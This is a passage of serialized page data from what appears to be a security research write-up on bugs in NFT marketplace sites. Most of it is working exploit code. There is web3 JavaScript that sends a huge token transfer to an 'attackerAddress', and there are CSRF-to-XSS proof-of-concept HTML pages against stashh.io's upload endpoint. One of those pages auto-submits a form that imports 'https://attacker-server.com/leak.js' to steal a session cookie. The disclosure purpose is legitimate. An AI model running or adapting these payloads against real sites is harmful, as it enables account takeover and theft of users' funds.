transactionObject",{"type":21,"tag":85,"props":32496,"children":32497},{"style":169},[32498],{"type":26,"value":1941},{"type":21,"tag":85,"props":32500,"children":32501},{"style":114},[32502],{"type":26,"value":148},{"type":21,"tag":85,"props":32504,"children":32505},{"class":87,"line":24089},[32506,32511,32515],{"type":21,"tag":85,"props":32507,"children":32508},{"style":120},[32509],{"type":26,"value":32510},"        from:",{"type":21,"tag":85,"props":32512,"children":32513},{"style":120},[32514],{"type":26,"value":31997},{"type":21,"tag":85,"props":32516,"children":32517},{"style":114},[32518],{"type":26,"value":182},{"type":21,"tag":85,"props":32520,"children":32521},{"class":87,"line":24098},[32522,32527,32531],{"type":21,"tag":85,"props":32523,"children":32524},{"style":120},[32525],{"type":26,"value":32526},"        to:",{"type":21,"tag":85,"props":32528,"children":32529},{"style":120},[32530],{"type":26,"value":32056},{"type":21,"tag":85,"props":32532,"children":32533},{"style":114},[32534],{"type":26,"value":182},{"type":21,"tag":85,"props":32536,"children":32537},{"class":87,"line":24174},[32538,32543,32547,32551],{"type":21,"tag":85,"props":32539,"children":32540},{"style":120},[32541],{"type":26,"value":32542},"        data:",{"type":21,"tag":85,"props":32544,"children":32545},{"style":120},[32546],{"type":26,"value":32423},{"type":21,"tag":85,"props":32548,"children":32549},{"style":114},[32550],{"type":26,"value":73},{"type":21,"tag":85,"props":32552,"children":32553},{"style":120},[32554],{"type":26,"value":32555},"methods\n",{"type":21,"tag":85,"props":32557,"children":32558},{"class":87,"line":24207},[32559,32564,32569,32573,32578,32582,32587,32591,32596,32600,32605,32609,32614,32618,32623],{"type":21,"tag":85,"props":32560,"children":32561},{"style":114},[32562],{"type":26,"value":32563},"          .",{"type":21,"tag":85,"props":32565,"children":32566},{"style":1021},[32567],{"type":26,"value":32568},"transfer",{"type":21,"tag":85,"props":32570,"children":32571},{"style":114},[32572],{"type":26,"value":1439},{"type":21,"tag":85,"props":32574,"children":32575},{"style":120},[32576],{"type":26,"value":32577},"attackerAddress",{"type":21,"tag":85,"props":32579,"children":32580},{"style":114},[32581],{"type":26,"value":256},{"type":21,"tag":85,"props":32583,"children":32584},{"style":120},[32585],{"type":26,"value":32586},"web3",{"type":21,"tag":85,"props":32588,"children":32589},{"style":114},[32590],{"type":26,"value":73},{"type":21,"tag":85,"props":32592,"children":32593},{"style":120},[32594],{"type":26,"value":32595},"utils",{"type":21,"tag":85,"props":32597,"children":32598},{"style":114},[32599],{"type":26,"value":73},{"type":21,"tag":85,"props":32601,"children":32602},{"style":1021},[32603],{"type":26,"value":32604},"toWei",{"type":21,"tag":85,"props":32606,"children":32607},{"style":114},[32608],{"type":26,"value":1439},{"type":21,"tag":85,"props":32610,"children":32611},{"style":5026},[32612],{"type":26,"value":32613},"'100000000'",{"type":21,"tag":85,"props":32615,"children":32616},{"style":114},[32617],{"type":26,"value":256},{"type":21,"tag":85,"props":32619,"children":32620},{"style":5026},[32621],{"type":26,"value":32622},"'ether'",{"type":21,"tag":85,"props":32624,"children":32625},{"style":114},[32626],{"type":26,"value":20139},{"type":21,"tag":85,"props":32628,"children":32629},{"class":87,"line":24215},[32630,32634,32639],{"type":21,"tag":85,"props":32631,"children":32632},{"style":114},[32633],{"type":26,"value":32563},{"type":21,"tag":85,"props":32635,"children":32636},{"style":1021},[32637],{"type":26,"value":32638},"encodeABI",{"type":21,"tag":85,"props":32640,"children":32641},{"style":114},[32642],{"type":26,"value":4258},{"type":21,"tag":85,"props":32644,"children":32645},{"class":87,"line":24223},[32646],{"type":21,"tag":85,"props":32647,"children":32648},{"style":114},[32649],{"type":26,"value":3292},{"type":21,"tag":85,"props":32651,"children":32652},{"class":87,"line":24260},[32653],{"type":21,"tag":85,"props":32654,"children":32655},{"emptyLinePlaceholder":16},[32656],{"type":26,"value":703},{"type":21,"tag":85,"props":32658,"children":32659},{"class":87,"line":24273},[32660,32665,32669,32673,32677,32682,32686,32691],{"type":21,"tag":85,"props":32661,"children":32662},{"style":120},[32663],{"type":26,"value":32664},"      web3",{"type":21,"tag":85,"props":32666,"children":32667},{"style":114},[32668],{"type":26,"value":73},{"type":21,"tag":85,"props":32670,"children":32671},{"style":120},[32672],{"type":26,"value":32444},{"type":21,"tag":85,"props":32674,"children":32675},{"style":114},[32676],{"type":26,"value":73},{"type":21,"tag":85,"props":32678,"children":32679},{"style":1021},[32680],{"type":26,"value":32681},"sendTransaction",{"type":21,"tag":85,"props":32683,"children":32684},{"style":114},[32685],{"type":26,"value":1439},{"type":21,"tag":85,"props":32687,"children":32688},{"style":120},[32689],{"type":26,"value":32690},"transactionObject",{"type":21,"tag":85,"props":32692,"children":32693},{"style":114},[32694],{"type":26,"value":777},{"type":21,"tag":85,"props":32696,"children":32697},{"class":87,"line":24286},[32698],{"type":21,"tag":85,"props":32699,"children":32700},{"style":114},[32701],{"type":26,"value":32702},"    });\n",{"type":21,"tag":85,"props":32704,"children":32705},{"class":87,"line":24299},[32706],{"type":21,"tag":85,"props":32707,"children":32708},{"style":114},[32709],{"type":26,"value":191},{"type":21,"tag":85,"props":32711,"children":32712},{"class":87,"line":24353},[32713],{"type":21,"tag":85,"props":32714,"children":32715},{"style":114},[32716],{"type":26,"value":2671},{"type":21,"tag":85,"props":32718,"children":32719},{"class":87,"line":24362},[32720],{"type":21,"tag":85,"props":32721,"children":32722},{"emptyLinePlaceholder":16},[32723],{"type":26,"value":703},{"type":21,"tag":85,"props":32725,"children":32727},{"class":87,"line":32726},51,[32728,32732,32736,32741],{"type":21,"tag":85,"props":32729,"children":32730},{"style":102},[32731],{"type":26,"value":19910},{"type":21,"tag":85,"props":32733,"children":32734},{"style":114},[32735],{"type":26,"value":1439},{"type":21,"tag":85,"props":32737,"children":32738},{"style":5026},[32739],{"type":26,"value":32740},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":21,"tag":85,"props":32742,"children":32743},{"style":114},[32744],{"type":26,"value":777},{"type":21,"tag":85,"props":32746,"children":32748},{"class":87,"line":32747},52,[32749,32754,32758,32762,32766,32771],{"type":21,"tag":85,"props":32750,"children":32751},{"style":1021},[32752],{"type":26,"value":32753},"setTimeout",{"type":21,"tag":85,"props":32755,"children":32756},{"style":114},[32757],{"type":26,"value":1439},{"type":21,"tag":85,"props":32759,"children":32760},{"style":120},[32761],{"type":26,"value":31938},{"type":21,"tag":85,"props":32763,"children":32764},{"style":114},[32765],{"type":26,"value":256},{"type":21,"tag":85,"props":32767,"children":32768},{"style":2285},[32769],{"type":26,"value":32770},"1e3",{"type":21,"tag":85,"props":32772,"children":32773},{"style":114},[32774],{"type":26,"value":777},{"type":21,"tag":22,"props":32776,"children":32777},{},[32778,32783],{"type":21,"tag":873,"props":32779,"children":32780},{},[32781],{"type":26,"value":32782},"CSRF & XSS",{"type":26,"value":32784},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":21,"tag":22,"props":32786,"children":32787},{},[32788,32790,32795],{"type":26,"value":32789},"Our attention was drawn to ",{"type":21,"tag":335,"props":32791,"children":32793},{"href":31725,"rel":32792},[339],[32794],{"type":26,"value":31729},{"type":26,"value":32796},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":21,"tag":22,"props":32798,"children":32799},{},[32800],{"type":21,"tag":4681,"props":32801,"children":32803},{"alt":7,"src":32802},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":21,"tag":22,"props":32805,"children":32806},{},[32807],{"type":26,"value":32808},"and here there is the code:",{"type":21,"tag":75,"props":32810,"children":32812},{"className":31808,"code":32811,"language":31810,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32813],{"type":21,"tag":66,"props":32814,"children":32815},{"__ignoreMap":7},[32816,32833,32850,32884,32970,33027,33226,33267,33283,33299,33306,33321,33328,33340,33399,33406,33469,33498,33536,33543,33581,33594,33601,33616],{"type":21,"tag":85,"props":32817,"children":32818},{"class":87,"line":88},[32819,32824,32829],{"type":21,"tag":85,"props":32820,"children":32822},{"style":32821},"--shiki-default:#808080",[32823],{"type":26,"value":117},{"type":21,"tag":85,"props":32825,"children":32826},{"style":102},[32827],{"type":26,"value":32828},"html",{"type":21,"tag":85,"props":32830,"children":32831},{"style":32821},[32832],{"type":26,"value":313},{"type":21,"tag":85,"props":32834,"children":32835},{"class":87,"line":98},[32836,32841,32846],{"type":21,"tag":85,"props":32837,"children":32838},{"style":32821},[32839],{"type":26,"value":32840},"  \u003C",{"type":21,"tag":85,"props":32842,"children":32843},{"style":102},[32844],{"type":26,"value":32845},"body",{"type":21,"tag":85,"props":32847,"children":32848},{"style":32821},[32849],{"type":26,"value":313},{"type":21,"tag":85,"props":32851,"children":32852},{"class":87,"line":151},[32853,32857,32862,32866,32871,32876,32880],{"type":21,"tag":85,"props":32854,"children":32855},{"style":32821},[32856],{"type":26,"value":32840},{"type":21,"tag":85,"props":32858,"children":32859},{"style":102},[32860],{"type":26,"value":32861},"script",{"type":21,"tag":85,"props":32863,"children":32864},{"style":32821},[32865],{"type":26,"value":10877},{"type":21,"tag":85,"props":32867,"children":32868},{"style":114},[32869],{"type":26,"value":32870},"history.pushState('', '', '/')",{"type":21,"tag":85,"props":32872,"children":32873},{"style":32821},[32874],{"type":26,"value":32875},"\u003C/",{"type":21,"tag":85,"props":32877,"children":32878},{"style":102},[32879],{"type":26,"value":32861},{"type":21,"tag":85,"props":32881,"children":32882},{"style":32821},[32883],{"type":26,"value":313},{"type":21,"tag":85,"props":32885,"children":32886},{"class":87,"line":160},[32887,32892,32897,32902,32906,32911,32916,32920,32925,32929,32933,32938,32943,32947,32952,32957,32961,32966],{"type":21,"tag":85,"props":32888,"children":32889},{"style":32821},[32890],{"type":26,"value":32891},"    \u003C",{"type":21,"tag":85,"props":32893,"children":32894},{"style":102},[32895],{"type":26,"value":32896},"form",{"type":21,"tag":85,"props":32898,"children":32899},{"style":120},[32900],{"type":26,"value":32901}," id",{"type":21,"tag":85,"props":32903,"children":32904},{"style":169},[32905],{"type":26,"value":741},{"type":21,"tag":85,"props":32907,"children":32908},{"style":5026},[32909],{"type":26,"value":32910},"\"form123\"",{"type":21,"tag":85,"props":32912,"children":32913},{"style":120},[32914],{"type":26,"value":32915}," action",{"type":21,"tag":85,"props":32917,"children":32918},{"style":169},[32919],{"type":26,"value":741},{"type":21,"tag":85,"props":32921,"children":32922},{"style":5026},[32923],{"type":26,"value":32924},"\"https://stashh.io/upload_asset\"",{"type":21,"tag":85,"props":32926,"children":32927},{"style":120},[32928],{"type":26,"value":17532},{"type":21,"tag":85,"props":32930,"children":32931},{"style":169},[32932],{"type":26,"value":741},{"type":21,"tag":85,"props":32934,"children":32935},{"style":5026},[32936],{"type":26,"value":32937},"\"POST\"",{"type":21,"tag":85,"props":32939,"children":32940},{"style":120},[32941],{"type":26,"value":32942}," enctype",{"type":21,"tag":85,"props":32944,"children":32945},{"style":169},[32946],{"type":26,"value":741},{"type":21,"tag":85,"props":32948,"children":32949},{"style":5026},[32950],{"type":26,"value":32951},"\"multipart/form-data\"",{"type":21,"tag":85,"props":32953,"children":32954},{"style":120},[32955],{"type":26,"value":32956}," value",{"type":21,"tag":85,"props":32958,"children":32959},{"style":169},[32960],{"type":26,"value":741},{"type":21,"tag":85,"props":32962,"children":32963},{"style":5026},[32964],{"type":26,"value":32965},"\"asd\"",{"type":21,"tag":85,"props":32967,"children":32968},{"style":32821},[32969],{"type":26,"value":313},{"type":21,"tag":85,"props":32971,"children":32972},{"class":87,"line":185},[32973,32978,32982,32987,32991,32996,33001,33005,33010,33014,33018,33023],{"type":21,"tag":85,"props":32974,"children":32975},{"style":32821},[32976],{"type":26,"value":32977},"     \u003C",{"type":21,"tag":85,"props":32979,"children":32980},{"style":102},[32981],{"type":26,"value":2724},{"type":21,"tag":85,"props":32983,"children":32984},{"style":120},[32985],{"type":26,"value":32986}," type",{"type":21,"tag":85,"props":32988,"children":32989},{"style":169},[32990],{"type":26,"value":741},{"type":21,"tag":85,"props":32992,"children":32993},{"style":5026},[32994],{"type":26,"value":32995},"\"file\"",{"type":21,"tag":85,"props":32997,"children":32998},{"style":120},[32999],{"type":26,"value":33000}," name",{"type":21,"tag":85,"props":33002,"children":33003},{"style":169},[33004],{"type":26,"value":741},{"type":21,"tag":85,"props":33006,"children":33007},{"style":5026},[33008],{"type":26,"value":33009},"\"data\"",{"type":21,"tag":85,"props":33011,"children":33012},{"style":120},[33013],{"type":26,"value":32901},{"type":21,"tag":85,"props":33015,"children":33016},{"style":169},[33017],{"type":26,"value":741},{"type":21,"tag":85,"props":33019,"children":33020},{"style":5026},[33021],{"type":26,"value":33022},"\"file123\"",{"type":21,"tag":85,"props":33024,"children":33025},{"style":32821},[33026],{"type":26,"value":313},{"type":21,"tag":85,"props":33028,"children":33029},{"class":87,"line":501},[33030,33035,33039,33043,33047,33052,33056,33060,33065,33069,33073,33077,33082,33087,33092,33097,33102,33106,33111,33116,33121,33125,33130,33135,33139,33144,33149,33154,33159,33164,33169,33174,33178,33183,33188,33193,33198,33203,33207,33212,33217,33221],{"type":21,"tag":85,"props":33031,"children":33032},{"style":32821},[33033],{"type":26,"value":33034},"      \u003C",{"type":21,"tag":85,"props":33036,"children":33037},{"style":102},[33038],{"type":26,"value":2724},{"type":21,"tag":85,"props":33040,"children":33041},{"style":120},[33042],{"type":26,"value":32986},{"type":21,"tag":85,"props":33044,"children":33045},{"style":169},[33046],{"type":26,"value":741},{"type":21,"tag":85,"props":33048,"children":33049},{"style":5026},[33050],{"type":26,"value":33051},"\"hidden\"",{"type":21,"tag":85,"props":33053,"children":33054},{"style":120},[33055],{"type":26,"value":33000},{"type":21,"tag":85,"props":33057,"children":33058},{"style":169},[33059],{"type":26,"value":741},{"type":21,"tag":85,"props":33061,"children":33062},{"style":5026},[33063],{"type":26,"value":33064},"\"config\"",{"type":21,"tag":85,"props":33066,"children":33067},{"style":120},[33068],{"type":26,"value":32956},{"type":21,"tag":85,"props":33070,"children":33071},{"style":169},[33072],{"type":26,"value":741},{"type":21,"tag":85,"props":33074,"children":33075},{"style":5026},[33076],{"type":26,"value":20487},{"type":21,"tag":85,"props":33078,"children":33079},{"style":102},[33080],{"type":26,"value":33081},"{"",{"type":21,"tag":85,"props":33083,"children":33084},{"style":5026},[33085],{"type":26,"value":33086},"address",{"type":21,"tag":85,"props":33088,"children":33089},{"style":102},[33090],{"type":26,"value":33091},"":"",{"type":21,"tag":85,"props":33093,"children":33094},{"style":5026},[33095],{"type":26,"value":33096},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":21,"tag":85,"props":33098,"children":33099},{"style":102},[33100],{"type":26,"value":33101},"<",{"type":21,"tag":85,"props":33103,"children":33104},{"style":5026},[33105],{"type":26,"value":4681},{"type":21,"tag":85,"props":33107,"children":33108},{"style":102},[33109],{"type":26,"value":33110},"/",{"type":21,"tag":85,"props":33112,"children":33113},{"style":5026},[33114],{"type":26,"value":33115},"src",{"type":21,"tag":85,"props":33117,"children":33118},{"style":102},[33119],{"type":26,"value":33120},"=",{"type":21,"tag":85,"props":33122,"children":33123},{"style":5026},[33124],{"type":26,"value":19702},{"type":21,"tag":85,"props":33126,"children":33127},{"style":102},[33128],{"type":26,"value":33129}," ",{"type":21,"tag":85,"props":33131,"children":33132},{"style":5026},[33133],{"type":26,"value":33134},"onerror",{"type":21,"tag":85,"props":33136,"children":33137},{"style":102},[33138],{"type":26,"value":33120},{"type":21,"tag":85,"props":33140,"children":33141},{"style":5026},[33142],{"type":26,"value":33143},"alert",{"type":21,"tag":85,"props":33145,"children":33146},{"style":102},[33147],{"type":26,"value":33148},"(",{"type":21,"tag":85,"props":33150,"children":33151},{"style":5026},[33152],{"type":26,"value":33153},"document",{"type":21,"tag":85,"props":33155,"children":33156},{"style":102},[33157],{"type":26,"value":33158},".",{"type":21,"tag":85,"props":33160,"children":33161},{"style":5026},[33162],{"type":26,"value":33163},"domain",{"type":21,"tag":85,"props":33165,"children":33166},{"style":102},[33167],{"type":26,"value":33168},")>","",{"type":21,"tag":85,"props":33170,"children":33171},{"style":5026},[33172],{"type":26,"value":33173},"to",{"type":21,"tag":85,"props":33175,"children":33176},{"style":102},[33177],{"type":26,"value":33091},{"type":21,"tag":85,"props":33179,"children":33180},{"style":5026},[33181],{"type":26,"value":33182},"profile",{"type":21,"tag":85,"props":33184,"children":33185},{"style":102},[33186],{"type":26,"value":33187},"-",{"type":21,"tag":85,"props":33189,"children":33190},{"style":5026},[33191],{"type":26,"value":33192},"assets",{"type":21,"tag":85,"props":33194,"children":33195},{"style":102},[33196],{"type":26,"value":33197},"","",{"type":21,"tag":85,"props":33199,"children":33200},{"style":5026},[33201],{"type":26,"value":33202},"type",{"type":21,"tag":85,"props":33204,"children":33205},{"style":102},[33206],{"type":26,"value":33091},{"type":21,"tag":85,"props":33208,"children":33209},{"style":5026},[33210],{"type":26,"value":33211},"icon",{"type":21,"tag":85,"props":33213,"children":33214},{"style":102},[33215],{"type":26,"value":33216},""}",{"type":21,"tag":85,"props":33218,"children":33219},{"style":5026},[33220],{"type":26,"value":20487},{"type":21,"tag":85,"props":33222,"children":33223},{"style":32821},[33224],{"type":26,"value":33225}," />\n",{"type":21,"tag":85,"props":33227,"children":33228},{"class":87,"line":697},[33229,33233,33237,33241,33245,33250,33254,33258,33263],{"type":21,"tag":85,"props":33230,"children":33231},{"style":32821},[33232],{"type":26,"value":33034},{"type":21,"tag":85,"props":33234,"children":33235},{"style":102},[33236],{"type":26,"value":2724},{"type":21,"tag":85,"props":33238,"children":33239},{"style":120},[33240],{"type":26,"value":32986},{"type":21,"tag":85,"props":33242,"children":33243},{"style":169},[33244],{"type":26,"value":741},{"type":21,"tag":85,"props":33246,"children":33247},{"style":5026},[33248],{"type":26,"value":33249},"\"submit\"",{"type":21,"tag":85,"props":33251,"children":33252},{"style":120},[33253],{"type":26,"value":32956},{"type":21,"tag":85,"props":33255,"children":33256},{"style":169},[33257],{"type":26,"value":741},{"type":21,"tag":85,"props":33259,"children":33260},{"style":5026},[33261],{"type":26,"value":33262},"\"Submit request\"",{"type":21,"tag":85,"props":33264,"children":33265},{"style":32821},[33266],{"type":26,"value":33225},{"type":21,"tag":85,"props":33268,"children":33269},{"class":87,"line":706},[33270,33275,33279],{"type":21,"tag":85,"props":33271,"children":33272},{"style":32821},[33273],{"type":26,"value":33274},"    \u003C/",{"type":21,"tag":85,"props":33276,"children":33277},{"style":102},[33278],{"type":26,"value":32896},{"type":21,"tag":85,"props":33280,"children":33281},{"style":32821},[33282],{"type":26,"value":313},{"type":21,"tag":85,"props":33284,"children":33285},{"class":87,"line":1100},[33286,33291,33295],{"type":21,"tag":85,"props":33287,"children":33288},{"style":32821},[33289],{"type":26,"value":33290},"  \u003C/",{"type":21,"tag":85,"props":33292,"children":33293},{"style":102},[33294],{"type":26,"value":32845},{"type":21,"tag":85,"props":33296,"children":33297},{"style":32821},[33298],{"type":26,"value":313},{"type":21,"tag":85,"props":33300,"children":33301},{"class":87,"line":1339},[33302],{"type":21,"tag":85,"props":33303,"children":33304},{"emptyLinePlaceholder":16},[33305],{"type":26,"value":703},{"type":21,"tag":85,"props":33307,"children":33308},{"class":87,"line":1348},[33309,33313,33317],{"type":21,"tag":85,"props":33310,"children":33311},{"style":32821},[33312],{"type":26,"value":32840},{"type":21,"tag":85,"props":33314,"children":33315},{"style":102},[33316],{"type":26,"value":32861},{"type":21,"tag":85,"props":33318,"children":33319},{"style":32821},[33320],{"type":26,"value":313},{"type":21,"tag":85,"props":33322,"children":33323},{"class":87,"line":1386},[33324],{"type":21,"tag":85,"props":33325,"children":33326},{"emptyLinePlaceholder":16},[33327],{"type":26,"value":703},{"type":21,"tag":85,"props":33329,"children":33330},{"class":87,"line":1394},[33331,33336],{"type":21,"tag":85,"props":33332,"children":33333},{"style":114},[33334],{"type":26,"value":33335},"    (async ()=>",{"type":21,"tag":85,"props":33337,"children":33338},{"style":102},[33339],{"type":26,"value":11296},{"type":21,"tag":85,"props":33341,"children":33342},{"class":87,"line":1402},[33343,33348,33353,33358,33363,33367,33371,33376,33380,33385,33390,33395],{"type":21,"tag":85,"props":33344,"children":33345},{"style":120},[33346],{"type":26,"value":33347},"        const",{"type":21,"tag":85,"props":33349,"children":33350},{"style":120},[33351],{"type":26,"value":33352}," blob",{"type":21,"tag":85,"props":33354,"children":33355},{"style":169},[33356],{"type":26,"value":33357}," = ",{"type":21,"tag":85,"props":33359,"children":33360},{"style":2885},[33361],{"type":26,"value":33362},"await",{"type":21,"tag":85,"props":33364,"children":33365},{"style":169},[33366],{"type":26,"value":717},{"type":21,"tag":85,"props":33368,"children":33369},{"style":2885},[33370],{"type":26,"value":33362},{"type":21,"tag":85,"props":33372,"children":33373},{"style":1021},[33374],{"type":26,"value":33375}," fetch",{"type":21,"tag":85,"props":33377,"children":33378},{"style":169},[33379],{"type":26,"value":1439},{"type":21,"tag":85,"props":33381,"children":33382},{"style":5026},[33383],{"type":26,"value":33384},"\"/sapo.png\"",{"type":21,"tag":85,"props":33386,"children":33387},{"style":169},[33388],{"type":26,"value":33389},")).",{"type":21,"tag":85,"props":33391,"children":33392},{"style":1021},[33393],{"type":26,"value":33394},"blob",{"type":21,"tag":85,"props":33396,"children":33397},{"style":169},[33398],{"type":26,"value":2086},{"type":21,"tag":85,"props":33400,"children":33401},{"class":87,"line":3145},[33402],{"type":21,"tag":85,"props":33403,"children":33404},{"emptyLinePlaceholder":16},[33405],{"type":26,"value":703},{"type":21,"tag":85,"props":33407,"children":33408},{"class":87,"line":3246},[33409,33413,33418,33422,33426,33431,33436,33440,33444,33449,33454,33459,33464],{"type":21,"tag":85,"props":33410,"children":33411},{"style":120},[33412],{"type":26,"value":1931},{"type":21,"tag":85,"props":33414,"children":33415},{"style":120},[33416],{"type":26,"value":33417}," f",{"type":21,"tag":85,"props":33419,"children":33420},{"style":169},[33421],{"type":26,"value":33357},{"type":21,"tag":85,"props":33423,"children":33424},{"style":102},[33425],{"type":26,"value":15541},{"type":21,"tag":85,"props":33427,"children":33428},{"style":1021},[33429],{"type":26,"value":33430}," File",{"type":21,"tag":85,"props":33432,"children":33433},{"style":169},[33434],{"type":26,"value":33435},"([",{"type":21,"tag":85,"props":33437,"children":33438},{"style":120},[33439],{"type":26,"value":33394},{"type":21,"tag":85,"props":33441,"children":33442},{"style":169},[33443],{"type":26,"value":23489},{"type":21,"tag":85,"props":33445,"children":33446},{"style":5026},[33447],{"type":26,"value":33448},"'sapo.png'",{"type":21,"tag":85,"props":33450,"children":33451},{"style":169},[33452],{"type":26,"value":33453},", {",{"type":21,"tag":85,"props":33455,"children":33456},{"style":120},[33457],{"type":26,"value":33458},"type:",{"type":21,"tag":85,"props":33460,"children":33461},{"style":5026},[33462],{"type":26,"value":33463}," 'image/png'",{"type":21,"tag":85,"props":33465,"children":33466},{"style":169},[33467],{"type":26,"value":33468},"})\n",{"type":21,"tag":85,"props":33470,"children":33471},{"class":87,"line":3255},[33472,33476,33481,33485,33489,33494],{"type":21,"tag":85,"props":33473,"children":33474},{"style":120},[33475],{"type":26,"value":33347},{"type":21,"tag":85,"props":33477,"children":33478},{"style":120},[33479],{"type":26,"value":33480}," dataTransfer",{"type":21,"tag":85,"props":33482,"children":33483},{"style":169},[33484],{"type":26,"value":33357},{"type":21,"tag":85,"props":33486,"children":33487},{"style":102},[33488],{"type":26,"value":15541},{"type":21,"tag":85,"props":33490,"children":33491},{"style":1021},[33492],{"type":26,"value":33493}," DataTransfer",{"type":21,"tag":85,"props":33495,"children":33496},{"style":169},[33497],{"type":26,"value":4437},{"type":21,"tag":85,"props":33499,"children":33500},{"class":87,"line":3286},[33501,33506,33510,33515,33519,33523,33527,33532],{"type":21,"tag":85,"props":33502,"children":33503},{"style":120},[33504],{"type":26,"value":33505},"        dataTransfer",{"type":21,"tag":85,"props":33507,"children":33508},{"style":169},[33509],{"type":26,"value":73},{"type":21,"tag":85,"props":33511,"children":33512},{"style":120},[33513],{"type":26,"value":33514},"items",{"type":21,"tag":85,"props":33516,"children":33517},{"style":169},[33518],{"type":26,"value":73},{"type":21,"tag":85,"props":33520,"children":33521},{"style":1021},[33522],{"type":26,"value":10052},{"type":21,"tag":85,"props":33524,"children":33525},{"style":169},[33526],{"type":26,"value":1439},{"type":21,"tag":85,"props":33528,"children":33529},{"style":120},[33530],{"type":26,"value":33531},"f",{"type":21,"tag":85,"props":33533,"children":33534},{"style":169},[33535],{"type":26,"value":777},{"type":21,"tag":85,"props":33537,"children":33538},{"class":87,"line":3295},[33539],{"type":21,"tag":85,"props":33540,"children":33541},{"emptyLinePlaceholder":16},[33542],{"type":26,"value":703},{"type":21,"tag":85,"props":33544,"children":33545},{"class":87,"line":3308},[33546,33551,33555,33560,33564,33569,33573,33577],{"type":21,"tag":85,"props":33547,"children":33548},{"style":120},[33549],{"type":26,"value":33550},"        file123",{"type":21,"tag":85,"props":33552,"children":33553},{"style":169},[33554],{"type":26,"value":73},{"type":21,"tag":85,"props":33556,"children":33557},{"style":120},[33558],{"type":26,"value":33559},"files",{"type":21,"tag":85,"props":33561,"children":33562},{"style":169},[33563],{"type":26,"value":33357},{"type":21,"tag":85,"props":33565,"children":33566},{"style":120},[33567],{"type":26,"value":33568},"dataTransfer",{"type":21,"tag":85,"props":33570,"children":33571},{"style":169},[33572],{"type":26,"value":73},{"type":21,"tag":85,"props":33574,"children":33575},{"style":120},[33576],{"type":26,"value":33559},{"type":21,"tag":85,"props":33578,"children":33579},{"style":169},[33580],{"type":26,"value":2535},{"type":21,"tag":85,"props":33582,"children":33583},{"class":87,"line":3333},[33584,33589],{"type":21,"tag":85,"props":33585,"children":33586},{"style":102},[33587],{"type":26,"value":33588},"    }",{"type":21,"tag":85,"props":33590,"children":33591},{"style":114},[33592],{"type":26,"value":33593},")()\n",{"type":21,"tag":85,"props":33595,"children":33596},{"class":87,"line":3369},[33597],{"type":21,"tag":85,"props":33598,"children":33599},{"emptyLinePlaceholder":16},[33600],{"type":26,"value":703},{"type":21,"tag":85,"props":33602,"children":33603},{"class":87,"line":3377},[33604,33608,33612],{"type":21,"tag":85,"props":33605,"children":33606},{"style":32821},[33607],{"type":26,"value":33290},{"type":21,"tag":85,"props":33609,"children":33610},{"style":102},[33611],{"type":26,"value":32861},{"type":21,"tag":85,"props":33613,"children":33614},{"style":32821},[33615],{"type":26,"value":313},{"type":21,"tag":85,"props":33617,"children":33618},{"class":87,"line":3386},[33619,33623,33627],{"type":21,"tag":85,"props":33620,"children":33621},{"style":32821},[33622],{"type":26,"value":32875},{"type":21,"tag":85,"props":33624,"children":33625},{"style":102},[33626],{"type":26,"value":32828},{"type":21,"tag":85,"props":33628,"children":33629},{"style":32821},[33630],{"type":26,"value":313},{"type":21,"tag":22,"props":33632,"children":33633},{},[33634],{"type":26,"value":33635},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":21,"tag":22,"props":33637,"children":33638},{},[33639],{"type":26,"value":33640},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":21,"tag":22,"props":33642,"children":33643},{},[33644],{"type":26,"value":33645},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":21,"tag":22,"props":33647,"children":33648},{},[33649],{"type":26,"value":33650},"From here, we were able to steal the session cookie from local storage.",{"type":21,"tag":75,"props":33652,"children":33654},{"className":31808,"code":33653,"language":31810,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  